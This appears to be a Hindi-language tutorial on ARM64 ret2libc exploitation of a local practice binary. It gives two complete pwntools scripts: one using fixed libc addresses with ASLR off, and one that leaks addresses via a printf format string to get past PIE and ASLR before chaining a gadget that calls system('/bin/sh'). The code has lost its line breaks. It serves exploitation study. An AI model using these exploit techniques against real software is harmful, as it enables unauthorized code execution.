pattern create 200 के साथ एक पैटर्न बनाकर, इसका उपयोग करके, और pattern search $x30 के साथ ऑफसेट की जांच करने पर हमें पता चलता है कि ऑफसेट 108 (0x6c) है।
मुख्य फ़ंक्शन के डिस्सेम्बल किए गए रूप पर नज़र डालने पर, हम देख सकते हैं कि हम printf पर सीधे कूदना चाहते हैं, जिसका ऑफसेट बाइनरी के लोड होने के स्थान से 0x860 है:
Find system and /bin/sh string
चूंकि ASLR अक्षम है, पते हमेशा समान रहने वाले हैं:
Find Gadgets
हमें x0 में /bin/sh स्ट्रिंग का पता और system को कॉल करने की आवश्यकता है।
यह गैजेट $sp + 0x18 से x0 लोड करेगा और फिर sp से x29 और x30 के पते लोड करेगा और x30 पर कूद जाएगा। इसलिए इस गैजेट के साथ हम पहले तर्क को नियंत्रित कर सकते हैं और फिर सिस्टम पर कूद सकते हैं।
Exploit
from pwn import*from time import sleepp =process('./rop')# For local binarylibc =ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")libc.address =0x0000fffff7df0000binsh =next(libc.search(b"/bin/sh"))#Verify with find /bin/shsystem = libc.sym["system"]defexpl_bof(payload):p.recv()p.sendline(payload)# Ret2mainstack_offset =108ldr_x0_ret =p64(libc.address +0x6bdf0)# ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;x29 =b"AAAAAAAA"x30 =p64(system)fill =b"A"* (0x18-0x10)x0 =p64(binsh)payload =b"A"*stack_offset + ldr_x0_ret + x29 + x30 + fill + x0p.sendline(payload)p.interactive()p.close()
Ret2lib - NX, ASL & PIE बायपास स्टैक से printf लीक के साथ
यह गैजेट $sp + 0x78 से x0 लोड करेगा और फिर sp से x29 और x30 के पते लोड करेगा और x30 पर कूद जाएगा। इसलिए इस गैजेट के साथ हम पहले तर्क को नियंत्रित कर सकते हैं और फिर सिस्टम पर कूद सकते हैं।
Exploit
from pwn import*from time import sleepp =process('./rop')# For local binarylibc =ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")defleak_printf(payload,is_main_addr=False):p.sendlineafter(b">\n" ,payload)response = p.recvline().strip()[2:] #Remove new line and "0x" prefixif is_main_addr:response = response[:-4]+b"0000"returnint(response, 16)defexpl_bof(payload):p.recv()p.sendline(payload)# Get main addressmain_address =leak_printf(b"%21$p", True)print(f"Bin address: {hex(main_address)}")# Ret2mainstack_offset =108main_call_printf_offset =0x860#Offset inside main to call printfleakprint("Going back to "+str(hex(main_address + main_call_printf_offset)))ret2main =b"A"*stack_offset +p64(main_address + main_call_printf_offset)expl_bof(ret2main)# libclibc_base_address =leak_printf(b"%25$p")-0x26dc4libc.address = libc_base_addressprint(f"Libc address: {hex(libc_base_address)}")binsh =next(libc.search(b"/bin/sh"))system = libc.sym["system"]# ret2systemldr_x0_ret =p64(libc.address +0x49c40)# ldr x0, [sp, #0x78]; ldp x29, x30, [sp], #0xc0; ret;x29 =b"AAAAAAAA"x30 =p64(system)fill =b"A"* (0x78-0x10)x0 =p64(binsh)payload =b"A"*stack_offset + ldr_x0_ret + x29 + x30 + fill + x0p.sendline(payload)p.interactive()